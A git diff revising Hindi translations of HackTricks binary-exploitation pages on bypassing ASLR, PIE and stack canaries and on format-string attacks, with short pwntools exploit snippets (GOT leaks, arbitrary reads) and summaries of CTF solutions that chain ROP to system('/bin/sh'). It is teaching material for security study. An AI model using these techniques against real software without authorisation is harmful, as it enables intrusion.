p.interactive() ``` - **ret2plt** -एक बफर ओवरफ्लो का दुरुपयोग करते हुए, एक **ret2plt** का शोषण करना संभव होगा ताकि libc से एक फ़ंक्शन का पता निकाला जा सके। जाँचें: +एक बफर ओवरफ्लो का दुरुपयोग करते हुए, **ret2plt** का उपयोग करके libc से एक फ़ंक्शन का पता निकालना संभव होगा। जाँच करें: + {{#ref}} ret2plt.md @@ -198,7 +199,7 @@ ret2plt.md - **Format Strings Arbitrary Read** -जैसे कि ret2plt में, यदि आपके पास एक फॉर्मेट स्ट्रिंग्स कमजोरियों के माध्यम से एक मनमाना पढ़ने की क्षमता है, तो GOT से एक **libc फ़ंक्शन** का पता निकालना संभव है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): +जैसे कि ret2plt में, यदि आपके पास एक फॉर्मेट स्ट्रिंग्स कमजोरियों के माध्यम से एक मनमाना पढ़ने की क्षमता है, तो GOT से **libc फ़ंक्शन** का पता निकालना संभव है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got): ```python payload = p32(elf.got['puts']) # p64() if 64-bit payload += b'|' @@ -225,8 +226,8 @@ ret2ret.md ### vsyscall -**`vsyscall`** तंत्र प्रदर्शन को बढ़ाने के लिए काम करता है, जिससे कुछ सिस्टम कॉल को उपयोगकर्ता स्थान में निष्पादित किया जा सकता है, हालाँकि वे मूल रूप से कर्नेल का हिस्सा हैं। **vsyscalls** का महत्वपूर्ण लाभ उनके **स्थिर पते** में है, जो **ASLR** (एड्रेस स्पेस लेआउट रैंडमाइजेशन) के अधीन नहीं होते। इस स्थिर स्वभाव का मतलब है कि हमलावरों को उनके पते निर्धारित करने और उन्हें एक हमले में उपयोग करने के लिए सूचना लीक की भेद्यता की आवश्यकता नहीं होती है।\ -हालांकि, यहाँ कोई सुपर दिलचस्प गैजेट नहीं मिलेगा (हालांकि उदाहरण के लिए, एक `ret;` समकक्ष प्राप्त करना संभव है) +**`vsyscall`** तंत्र प्रदर्शन को बढ़ाने के लिए काम करता है, जिससे कुछ सिस्टम कॉल को उपयोगकर्ता स्थान में निष्पादित किया जा सकता है, हालाँकि वे मूल रूप से कर्नेल का हिस्सा हैं। **vsyscalls** का महत्वपूर्ण लाभ उनके **स्थिर पते** में है, जो **ASLR** (एड्रेस स्पेस लेआउट रैंडमाइजेशन) के अधीन नहीं होते। इस स्थिर स्वभाव का मतलब है कि हमलावरों को उनके पते निर्धारित करने और उन्हें एक हमले में उपयोग करने के लिए सूचना लीक की कमजोरी की आवश्यकता नहीं होती है।\ +हालांकि, यहाँ कोई सुपर दिलचस्प गैजेट नहीं मिलेगा (हालांकि उदाहरण के लिए, `ret;` समकक्ष प्राप्त करना संभव है) (निम्नलिखित उदाहरण और कोड [**इस लेख से**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) है) diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md index 961409548..67d37e908 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/pie/README.md @@ -4,26 +4,27 @@ ## Basic Information -एक बाइनरी जिसे PIE, या **Position Independent Executable** के रूप में संकलित किया गया है, का मतलब है कि **प्रोग्राम हर बार इसे निष्पादित करने पर विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, जिससे हार्डकोडेड पते को रोका जा सकता है। +एक बाइनरी जिसे PIE, या **Position Independent Executable** के रूप में संकलित किया गया है, का मतलब है कि **प्रोग्राम हर बार इसे निष्पादित करने पर विभिन्न मेमोरी स्थानों पर लोड हो सकता है**, हार्डकोडेड पते को रोकता है। इन बाइनरीज़ का शोषण करने का तरीका **सापेक्ष पते** का शोषण करना है—प्रोग्राम के भागों के बीच के ऑफसेट समान रहते हैं भले ही निरपेक्ष स्थान बदल जाए। **PIE को बायपास करने के लिए, आपको केवल एक पता लीक करने की आवश्यकता है**, आमतौर पर **स्टैक** से फॉर्मेट स्ट्रिंग हमलों जैसी कमजोरियों का उपयोग करके। एक बार जब आपके पास एक पता हो, तो आप उनके **फिक्स्ड ऑफसेट्स** द्वारा अन्य का अनुमान लगा सकते हैं। -PIE बाइनरीज़ का शोषण करने में एक सहायक संकेत यह है कि उनका **बेस पता आमतौर पर 000 पर समाप्त होता है** क्योंकि मेमोरी पृष्ठ यादृच्छिकता की इकाइयाँ होती हैं, जिनका आकार 0x1000 बाइट्स होता है। यह संरेखण एक महत्वपूर्ण **जांच हो सकती है यदि कोई शोषण अपेक्षित रूप से काम नहीं कर रहा है**, यह संकेत करता है कि क्या सही बेस पता पहचाना गया है।\ +PIE बाइनरीज़ का शोषण करने में एक सहायक संकेत यह है कि उनका **बेस पता आमतौर पर 000 पर समाप्त होता है** क्योंकि मेमोरी पृष्ठ यादृच्छिकता के इकाइयाँ होते हैं, जिनका आकार 0x1000 बाइट्स होता है। यह संरेखण एक महत्वपूर्ण **जांच हो सकती है यदि कोई शोषण अपेक्षित रूप से काम नहीं कर रहा है**, यह संकेत करता है कि क्या सही बेस पता पहचाना गया है।\ या आप इसे अपने शोषण के लिए उपयोग कर सकते हैं, यदि आप लीक करते हैं कि एक पता **`0x649e1024`** पर स्थित है, तो आप जानते हैं कि **बेस पता `0x649e1000`** है और वहां से आप बस **फंक्शंस और स्थानों के ऑफसेट्स** की गणना कर सकते हैं। ## Bypasses -PIE को बायपास करने के लिए लोड की गई बाइनरी के **कुछ पते को लीक करना आवश्यक है**, इसके लिए कुछ विकल्प हैं: +PIE को बायपास करने के लिए **लोड की गई** बाइनरी का कुछ पता लीक करना आवश्यक है, इसके लिए कुछ विकल्प हैं: - **ASLR बंद**: यदि ASLR बंद है, तो PIE के साथ संकलित बाइनरी हमेशा **एक ही पते पर लोड होने वाली है**, इसलिए **PIE बेकार हो जाएगा** क्योंकि वस्तुओं के पते हमेशा एक ही स्थान पर होंगे। - लीक **प्राप्त करना** (आसान CTF चुनौतियों में सामान्य, [**इस उदाहरण की जांच करें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit)) -- स्टैक में **EBP और EIP मानों को ब्रूट-फोर्स करना** जब तक कि आप सही लीक न कर लें: +- स्टैक में **EBP और EIP मानों** को ब्रूट-फोर्स करें जब तक कि आप सही लीक न करें: + {{#ref}} bypassing-canary-and-pie.md {{#endref}} -- एक **मनमाना पढ़ने** की कमजोरी का उपयोग करें जैसे कि [**फॉर्मेट स्ट्रिंग**](../../format-strings/index.html) बाइनरी का एक पता लीक करने के लिए (जैसे, पिछले तकनीक की तरह स्टैक से) बाइनरी का बेस प्राप्त करने के लिए और वहां से ऑफसेट्स का उपयोग करें। [**यहां एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). +- एक **मनमाना पढ़ने** की कमजोरी का उपयोग करें जैसे कि [**फॉर्मेट स्ट्रिंग**](../../format-strings/index.html) बाइनरी का एक पता लीक करने के लिए (जैसे, स्टैक से, पिछले तकनीक की तरह) बाइनरी का बेस प्राप्त करने के लिए और वहां से ऑफसेट्स का उपयोग करें। [**यहां एक उदाहरण खोजें**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). ## References diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md index b5f779417..99ed4c518 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/README.md @@ -4,34 +4,35 @@ ## **StackGuard और StackShield** -**StackGuard** एक विशेष मान जिसे **canary** कहा जाता है, को **EIP (Extended Instruction Pointer)** से पहले डालता है, विशेष रूप से `0x000aff0d` (जो null, newline, EOF, carriage return का प्रतिनिधित्व करता है) बफर ओवरफ्लो से बचाने के लिए। हालाँकि, `recv()`, `memcpy()`, `read()`, और `bcopy()` जैसी फ़ंक्शन कमजोर रहती हैं, और यह **EBP (Base Pointer)** की सुरक्षा नहीं करता है। +**StackGuard** एक विशेष मान जिसे **canary** कहा जाता है, को **EIP (Extended Instruction Pointer)** से पहले डालता है, विशेष रूप से `0x000aff0d` (जो null, newline, EOF, carriage return का प्रतिनिधित्व करता है) बफर ओवरफ्लो से सुरक्षा के लिए। हालाँकि, `recv()`, `memcpy()`, `read()`, और `bcopy()` जैसी फ़ंक्शन कमजोर बनी रहती हैं, और यह **EBP (Base Pointer)** की सुरक्षा नहीं करता है। -**StackShield** StackGuard की तुलना में एक अधिक परिष्कृत दृष्टिकोण अपनाता है, जो एक **Global Return Stack** बनाए रखता है, जो सभी रिटर्न पते (**EIPs**) को संग्रहीत करता है। यह सेटअप सुनिश्चित करता है कि कोई भी ओवरफ्लो नुकसान नहीं पहुँचाता है, क्योंकि यह संग्रहीत और वास्तविक रिटर्न पते के बीच तुलना की अनुमति देता है ताकि ओवरफ्लो की घटनाओं का पता लगाया जा सके। इसके अतिरिक्त, StackShield रिटर्न पते की तुलना एक सीमा मान से कर सकता है ताकि यह पता लगाया जा सके कि क्या **EIP** अपेक्षित डेटा स्थान के बाहर इंगित करता है। हालाँकि, इस सुरक्षा को Return-to-libc, ROP (Return-Oriented Programming), या ret2ret जैसी तकनीकों के माध्यम से दरकिनार किया जा सकता है, यह संकेत करता है कि StackShield स्थानीय चर की भी सुरक्षा नहीं करता है। +**StackShield** StackGuard की तुलना में एक अधिक जटिल दृष्टिकोण अपनाता है, जो एक **Global Return Stack** बनाए रखता है, जो सभी रिटर्न पते (**EIPs**) को संग्रहीत करता है। यह सेटअप सुनिश्चित करता है कि कोई भी ओवरफ्लो नुकसान नहीं पहुंचाता है, क्योंकि यह संग्रहीत और वास्तविक रिटर्न पते के बीच तुलना की अनुमति देता है ताकि ओवरफ्लो की घटनाओं का पता लगाया जा सके। इसके अतिरिक्त, StackShield रिटर्न पते की जांच एक सीमा मान के खिलाफ कर सकता है ताकि यह पता लगाया जा सके कि **EIP** अपेक्षित डेटा स्थान के बाहर है या नहीं। हालाँकि, इस सुरक्षा को Return-to-libc, ROP (Return-Oriented Programming), या ret2ret जैसी तकनीकों के माध्यम से दरकिनार किया जा सकता है, यह संकेत करता है कि StackShield स्थानीय चर की भी सुरक्षा नहीं करता है। ## **Stack Smash Protector (ProPolice) `-fstack-protector`:** -यह तंत्र **EBP** से पहले एक **canary** रखता है, और स्थानीय चर को पुनर्गठित करता है ताकि बफर उच्च मेमोरी पते पर स्थित हों, जिससे वे अन्य चर को ओवरराइट नहीं कर सकें। यह स्थानीय चर के ऊपर स्टैक पर पास किए गए तर्कों को सुरक्षित रूप से कॉपी करता है और इन कॉपियों का उपयोग तर्कों के रूप में करता है। हालाँकि, यह 8 तत्वों से कम वाले ऐरे या उपयोगकर्ता की संरचना के भीतर बफर की सुरक्षा नहीं करता है। +यह तंत्र **EBP** से पहले एक **canary** रखता है, और स्थानीय चर को पुनर्गठित करता है ताकि बफर को उच्च मेमोरी पते पर रखा जा सके, जिससे वे अन्य चर को ओवरराइट नहीं कर सकें। यह स्थानीय चर के ऊपर स्टैक पर पारित तर्कों को सुरक्षित रूप से कॉपी करता है और इन कॉपियों का उपयोग तर्कों के रूप में करता है। हालाँकि, यह 8 तत्वों से कम वाले ऐरे या उपयोगकर्ता की संरचना के भीतर बफर की सुरक्षा नहीं करता है। -**canary** एक यादृच्छिक संख्या है जो `/dev/urandom` से प्राप्त होती है या इसका डिफ़ॉल्ट मान `0xff0a0000` होता है। इसे **TLS (Thread Local Storage)** में संग्रहीत किया जाता है, जिससे थ्रेड्स के बीच साझा मेमोरी स्थानों में थ्रेड-विशिष्ट वैश्विक या स्थिर चर हो सकते हैं। ये चर प्रारंभ में माता-पिता प्रक्रिया से कॉपी किए जाते हैं, और बाल प्रक्रियाएँ अपने डेटा को माता-पिता या भाई-बहनों को प्रभावित किए बिना बदल सकती हैं। फिर भी, यदि **`fork()` का उपयोग बिना नए canary बनाए किया जाता है, तो सभी प्रक्रियाएँ (माता-पिता और बच्चे) एक ही canary साझा करती हैं**, जिससे यह कमजोर हो जाता है। **i386** आर्किटेक्चर पर, canary `gs:0x14` पर संग्रहीत होता है, और **x86_64** पर, `fs:0x28` पर। +**canary** एक यादृच्छिक संख्या है जो `/dev/urandom` से प्राप्त होती है या इसका डिफ़ॉल्ट मान `0xff0a0000` होता है। इसे **TLS (Thread Local Storage)** में संग्रहीत किया जाता है, जिससे थ्रेड्स के बीच साझा मेमोरी स्थानों में थ्रेड-विशिष्ट वैश्विक या स्थिर चर हो सकते हैं। ये चर प्रारंभ में माता-पिता की प्रक्रिया से कॉपी किए जाते हैं, और बाल प्रक्रियाएँ अपने डेटा को माता-पिता या भाई-बहनों को प्रभावित किए बिना बदल सकती हैं। फिर भी, यदि **`fork()` का उपयोग बिना नए canary बनाए किया जाता है, तो सभी प्रक्रियाएँ (माता-पिता और बच्चे) एक ही canary साझा करती हैं**, जिससे यह कमजोर हो जाता है। **i386** आर्किटेक्चर पर, canary `gs:0x14` पर संग्रहीत होता है, और **x86_64** पर, `fs:0x28` पर। यह स्थानीय सुरक्षा उन फ़ंक्शनों की पहचान करती है जिनमें बफर हमलों के प्रति संवेदनशील होते हैं और इन फ़ंक्शनों की शुरुआत में कोड इंजेक्ट करती है ताकि canary को रखा जा सके, और अंत में इसकी अखंडता की पुष्टि करने के लिए। -जब एक वेब सर्वर `fork()` का उपयोग करता है, तो यह canary बाइट को बाइट द्वारा अनुमान लगाने के लिए एक ब्रूट-फोर्स हमले को सक्षम करता है। हालाँकि, `fork()` के बाद `execve()` का उपयोग मेमोरी स्थान को ओवरराइट करता है, जिससे हमले को नकारा जाता है। `vfork()` बाल प्रक्रिया को डुप्लिकेशन के बिना निष्पादित करने की अनुमति देता है जब तक कि यह लिखने का प्रयास नहीं करता, जिस बिंदु पर एक डुप्लिकेट बनाया जाता है, जो प्रक्रिया निर्माण और मेमोरी प्रबंधन के लिए एक अलग दृष्टिकोण प्रदान करता है। +जब एक वेब सर्वर `fork()` का उपयोग करता है, तो यह canary को बाइट दर बाइट अनुमान लगाने के लिए एक ब्रूट-फोर्स हमले की अनुमति देता है। हालाँकि, `fork()` के बाद `execve()` का उपयोग मेमोरी स्थान को ओवरराइट करता है, जिससे हमले को नकारा जाता है। `vfork()` बाल प्रक्रिया को डुप्लिकेट किए बिना निष्पादित करने की अनुमति देता है जब तक कि यह लिखने का प्रयास नहीं करता, जिस बिंदु पर एक डुप्लिकेट बनाया जाता है, जो प्रक्रिया निर्माण और मेमोरी प्रबंधन के लिए एक अलग दृष्टिकोण प्रदान करता है। ### लंबाई -`x64` बाइनरी में, canary कुकी एक **`0x8`** बाइट क्यूवर्ड है। **पहले सात बाइट यादृच्छिक** हैं और अंतिम बाइट एक **null byte** है। +`x64` बाइनरी में, canary कुकी एक **`0x8`** बाइट क्यूवर्ड है। **पहले सात बाइट यादृच्छिक हैं** और अंतिम बाइट एक **null byte** है। -`x86` बाइनरी में, canary कुकी एक **`0x4`** बाइट ड्वॉर्ड है। **पहले तीन बाइट यादृच्छिक** हैं और अंतिम बाइट एक **null byte** है। +`x86` बाइनरी में, canary कुकी एक **`0x4`** बाइट ड्वॉर्ड है। **पहले तीन बाइट यादृच्छिक हैं** और अंतिम बाइट एक **null byte** है। > [!CAUTION] > दोनों canaries का सबसे कम महत्वपूर्ण बाइट एक null byte है क्योंकि यह स्टैक में सबसे पहले होगा जो निम्न पते से आ रहा है और इसलिए **जो फ़ंक्शन स्ट्रिंग पढ़ते हैं वे इसे पढ़ने से पहले रुक जाएंगे**। ## बायपास -**canary को लीक करना** और फिर इसे अपने मान (जैसे बफर ओवरफ्लो) के साथ ओवरराइट करना। +**canary को लीक करना** और फिर इसे अपने मान से ओवरराइट करना (जैसे बफर ओवरफ्लो)। + +- यदि **canary बाल प्रक्रियाओं में fork की गई है** तो इसे एक बाइट में **brute-force** करना संभव हो सकता है: -- यदि **canary को बाल प्रक्रियाओं में fork किया गया है** तो इसे एक बाइट में ब्रूट-फोर्स करना संभव हो सकता है: {{#ref}} bf-forked-stack-canaries.md @@ -39,6 +40,7 @@ bf-forked-stack-canaries.md - यदि बाइनरी में कुछ दिलचस्प **लीक या मनमाना पढ़ने की कमजोरी** है तो इसे लीक करना संभव हो सकता है: + {{#ref}} print-stack-canary.md {{#endref}} @@ -47,25 +49,26 @@ print-stack-canary.md स्टैक जो स्टैक ओवरफ्लो के प्रति संवेदनशील है, **स्ट्रिंग्स या फ़ंक्शंस के पते को शामिल कर सकता है जिन्हें ओवरराइट किया जा सकता है** ताकि कमजोरी का लाभ उठाया जा सके बिना स्टैक canary तक पहुँचने की आवश्यकता के। जाँच करें: + {{#ref}} ../../stack-overflow/pointer-redirecting.md {{#endref}} - **मास्टर और थ्रेड canary दोनों को संशोधित करना** -एक बफर **ओवरफ्लो एक थ्रेडेड फ़ंक्शन में** जो canary से सुरक्षित है, का उपयोग **थ्रेड के मास्टर canary को संशोधित करने के लिए किया जा सकता है**। परिणामस्वरूप, यह शमन बेकार है क्योंकि जाँच दो समान canaries के साथ की जाती है (हालाँकि संशोधित)। +एक थ्रेडेड फ़ंक्शन में **बफर ओवरफ्लो** जो canary से सुरक्षित है, का उपयोग **थ्रेड के मास्टर canary को संशोधित करने के लिए किया जा सकता है**। परिणामस्वरूप, यह शमन बेकार है क्योंकि जांच दो समान (हालांकि संशोधित) canaries के साथ की जाती है। -इसके अलावा, एक बफर **ओवरफ्लो एक थ्रेडेड फ़ंक्शन में** जो canary से सुरक्षित है, का उपयोग **TLS में संग्रहीत मास्टर canary को संशोधित करने के लिए किया जा सकता है**। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के स्टैक में **bof** के माध्यम से TLS में संग्रहीत मेमोरी स्थिति तक पहुँचा जा सके (और इसलिए, canary)।\ -परिणामस्वरूप, यह शमन बेकार है क्योंकि जाँच दो समान canaries के साथ की जाती है (हालाँकि संशोधित)।\ -यह हमला लिखने में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) +इसके अलावा, एक थ्रेडेड फ़ंक्शन में **बफर ओवरफ्लो** जो canary से सुरक्षित है, का उपयोग **TLS में संग्रहीत मास्टर canary को संशोधित करने के लिए किया जा सकता है**। इसका कारण यह है कि, यह संभव हो सकता है कि थ्रेड के स्टैक में **bof** के माध्यम से TLS में संग्रहीत मेमोरी स्थिति तक पहुँचा जा सके (और इसलिए, canary)।\ +परिणामस्वरूप, यह शमन बेकार है क्योंकि जांच दो समान (हालांकि संशोधित) canaries के साथ की जाती है।\ +यह हमला लेखन में किया गया है: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads) -जाँच करें [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति जो यह उल्लेख करती है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लिखने में दिखाए गए ओवरफ्लो की अनुमति दे सकता है। +जाँच करें [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) की प्रस्तुति जो यह उल्लेख करती है कि आमतौर पर **TLS** को **`mmap`** द्वारा संग्रहीत किया जाता है और जब एक **थ्रेड** का **स्टैक** बनाया जाता है तो इसे भी `mmap` द्वारा उत्पन्न किया जाता है, जो पिछले लेखन में दिखाए गए ओवरफ्लो की अनुमति दे सकता है। - **`__stack_chk_fail` के GOT प्रविष्टि को संशोधित करना** -यदि बाइनरी में Partial RELRO है, तो आप **`__stack_chk_fail` के GOT प्रविष्टि को** एक डमी फ़ंक्शन में संशोधित करने के लिए एक मनमाना लेखन का उपयोग कर सकते हैं जो canary के संशोधित होने पर कार्यक्रम को अवरुद्ध नहीं करता है। +यदि बाइनरी में Partial RELRO है, तो आप **`__stack_chk_fail` के GOT प्रविष्टि को** एक डमी फ़ंक्शन में संशोधित करने के लिए एक मनमाना लेखन का उपयोग कर सकते हैं जो प्रोग्राम को रोकता नहीं है यदि canary संशोधित किया जाता है। -यह हमला लिखने में किया गया है: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) +यह हमला लेखन में किया गया है: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/) ## संदर्भ diff --git a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md index 3091c2c0c..21fe9ec51 100644 --- a/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md +++ b/src/binary-exploitation/common-binary-protections-and-bypasses/stack-canaries/print-stack-canary.md @@ -4,9 +4,9 @@ ## Enlarge printed stack -एक ऐसी स्थिति की कल्पना करें जहाँ एक **program vulnerable** to stack overflow एक **puts** फ़ंक्शन को **pointing** कर सकता है **part** of the **stack overflow**. हमलावर जानता है कि **canary का पहला byte एक null byte है** (`\x00`) और बाकी का canary **random** bytes हैं। फिर, हमलावर एक overflow बना सकता है जो **stack को overwrite करता है जब तक कि canary का पहला byte** न हो। +एक ऐसी स्थिति की कल्पना करें जहाँ एक **program vulnerable** to stack overflow **puts** फ़ंक्शन को **pointing** कर सकता है **part** of the **stack overflow**. हमलावर जानता है कि **canary का पहला byte एक null byte है** (`\x00`) और बाकी canary **random** bytes हैं। फिर, हमलावर एक overflow बना सकता है जो **stack को overwrite करता है जब तक कि canary का पहला byte** नहीं हो जाता। -फिर, हमलावर **payload के मध्य में puts functionality** को **call** करता है जो **सभी canary को print करेगा** (पहले null byte को छोड़कर)। +फिर, हमलावर **payload के मध्य में puts functionality** को **call** करता है जो **canary को print करेगा** (पहले null byte को छोड़कर)। इस जानकारी के साथ हमलावर **canary को जानकर एक नया हमला तैयार और भेज सकता है** (उसी program session में)। @@ -15,13 +15,13 @@ **CTF examples:** - [**https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html**](https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html) -- 64 bit, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम overflow को भरना है जब तक canary का byte 0x00 न हो जाए ताकि फिर puts को call किया जा सके और इसे leak किया जा सके। canary के साथ एक ROP gadget बनाया जाता है जो puts को call करता है ताकि GOT से puts का पता leak किया जा सके और फिर एक ROP gadget जो `system('/bin/sh')` को call करता है। +- 64 bit, ASLR सक्षम लेकिन कोई PIE नहीं, पहला कदम overflow को भरना है जब तक canary का byte 0x00 नहीं हो जाता ताकि फिर puts को call किया जा सके और इसे leak किया जा सके। canary के साथ एक ROP gadget बनाया जाता है जो puts को call करता है ताकि GOT से puts का पता leak किया जा सके और फिर एक ROP gadget जो `system('/bin/sh')` को call करता है। - [**https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html**](https://guyinatuxedo.github.io/14-ret_2_system/hxp18_poorCanary/index.html) -- 32 bit, ARM, कोई relro नहीं, canary, nx, कोई pie नहीं। इसे leak करने के लिए puts पर एक call के साथ overflow + ret2lib जो `system` को ROP chain के साथ call करता है ताकि r0 (arg `/bin/sh`) और pc (system का पता) को pop किया जा सके। +- 32 bit, ARM, कोई relro नहीं, canary, nx, कोई pie नहीं। इसे leak करने के लिए puts पर एक call के साथ overflow करें + ret2lib जो `system` को ROP chain के साथ call करता है ताकि r0 (arg `/bin/sh`) और pc (system का पता) को pop किया जा सके। ## Arbitrary Read -एक **arbitrary read** के साथ जैसे कि format **strings** द्वारा प्रदान किया गया, canary को leak करना संभव हो सकता है। इस उदाहरण को देखें: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) और आप पढ़ सकते हैं कि format strings का दुरुपयोग करके कैसे arbitrary memory addresses को पढ़ा जा सकता है: +एक **arbitrary read** के साथ जैसे कि format **strings** द्वारा प्रदान किया गया, canary को leak करना संभव हो सकता है। इस उदाहरण को देखें: [**https://ir0nstone.gitbook.io/notes/types/stack/canaries**](https://ir0nstone.gitbook.io/notes/types/stack/canaries) और आप arbitrary memory addresses को पढ़ने के लिए format strings का दुरुपयोग करने के बारे में पढ़ सकते हैं: {{#ref}} ../../format-strings/ diff --git a/src/binary-exploitation/format-strings/README.md b/src/binary-exploitation/format-strings/README.md index 1de5e4b9f..7ba4e7eaf 100644 --- a/src/binary-exploitation/format-strings/README.md +++ b/src/binary-exploitation/format-strings/README.md @@ -2,9 +2,10 @@ {{#include ../../banners/hacktricks-training.md}} + ## Basic Information -C में **`printf`** एक फ़ंक्शन है जिसका उपयोग कुछ स्ट्रिंग को **प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है, वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट**। **अन्य पैरामीटर** जो अपेक्षित हैं, वे हैं **मान** जो कच्चे टेक्स्ट से **फॉर्मेटर्स** को **बदलने** के लिए हैं। +C में **`printf`** एक फ़ंक्शन है जिसका उपयोग **किसी स्ट्रिंग को प्रिंट** करने के लिए किया जा सकता है। इस फ़ंक्शन की **पहली पैरामीटर** जो अपेक्षित है, वह है **फॉर्मेटर्स के साथ कच्चा टेक्स्ट**। इसके बाद की **पैरामीटर** अपेक्षित हैं **कच्चे टेक्स्ट** से **फॉर्मेटर्स** को **बदलने** के लिए **मान**। अन्य संवेदनशील फ़ंक्शन हैं **`sprintf()`** और **`fprintf()`**। @@ -51,15 +52,15 @@ fclose(output_file); return 0; } ``` -### **पॉइंटर्स तक पहुँचना** +### **Pointers तक पहुँचना** -फॉर्मेट **`%$x`**, जहाँ `n` एक संख्या है, printf को स्टैक से n पैरामीटर चुनने के लिए संकेत करने की अनुमति देता है। इसलिए यदि आप printf का उपयोग करके स्टैक से 4वां पैरामीटर पढ़ना चाहते हैं, तो आप कर सकते हैं: +फॉर्मेट **`%$x`**, जहाँ `n` एक संख्या है, printf को यह संकेत करने की अनुमति देता है कि n पैरामीटर (स्टैक से) का चयन करें। इसलिए, यदि आप printf का उपयोग करके स्टैक से 4वें पैरामीटर को पढ़ना चाहते हैं, तो आप कर सकते हैं: ```c printf("%x %x %x %x") ``` और आप पहले से चौथे पैरामीटर तक पढ़ सकते हैं। -या आप कर सकते हैं: +या आप यह कर सकते हैं: ```c printf("%4$x") ``` @@ -68,11 +69,11 @@ printf("%4$x") ध्यान दें कि हमलावर `printf` **पैरामीटर को नियंत्रित करता है, जिसका अर्थ है कि** उसका इनपुट `printf` के कॉल होने पर स्टैक में होगा, जिसका अर्थ है कि वह स्टैक में विशिष्ट मेमोरी पते लिख सकता है। > [!CAUTION] -> एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने के लिए मजबूर कर सकता है**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा। +> एक हमलावर जो इस इनपुट को नियंत्रित करता है, वह **स्टैक में मनमाने पते जोड़ने में सक्षम होगा और `printf` को उन्हें एक्सेस करने देगा**। अगले अनुभाग में इस व्यवहार का उपयोग कैसे करें, यह समझाया जाएगा। ## **मनमाना पढ़ना** -फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त कर सके, इसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट कर सके** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथी स्थिति से शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है: +फॉर्मेटर **`%n$s`** का उपयोग करना संभव है ताकि **`printf`** **n स्थिति** में स्थित **पते** को प्राप्त करे, इसके बाद और **इसे एक स्ट्रिंग के रूप में प्रिंट करे** (जब तक 0x00 नहीं मिलता)। इसलिए यदि बाइनरी का बेस पता **`0x8048000`** है, और हम जानते हैं कि उपयोगकर्ता इनपुट स्टैक में चौथे स्थान पर शुरू होता है, तो बाइनरी की शुरुआत को प्रिंट करना संभव है: ```python from pwn import * @@ -90,7 +91,7 @@ log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' ### ऑफसेट खोजें -अपने इनपुट के लिए ऑफसेट खोजने के लिए आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं। +अपने इनपुट के लिए ऑफसेट खोजने के लिए, आप 4 या 8 बाइट्स (`0x41414141`) भेज सकते हैं उसके बाद **`%1$x`** और **मान बढ़ाएं** जब तक कि `A's` प्राप्त न हो जाएं।
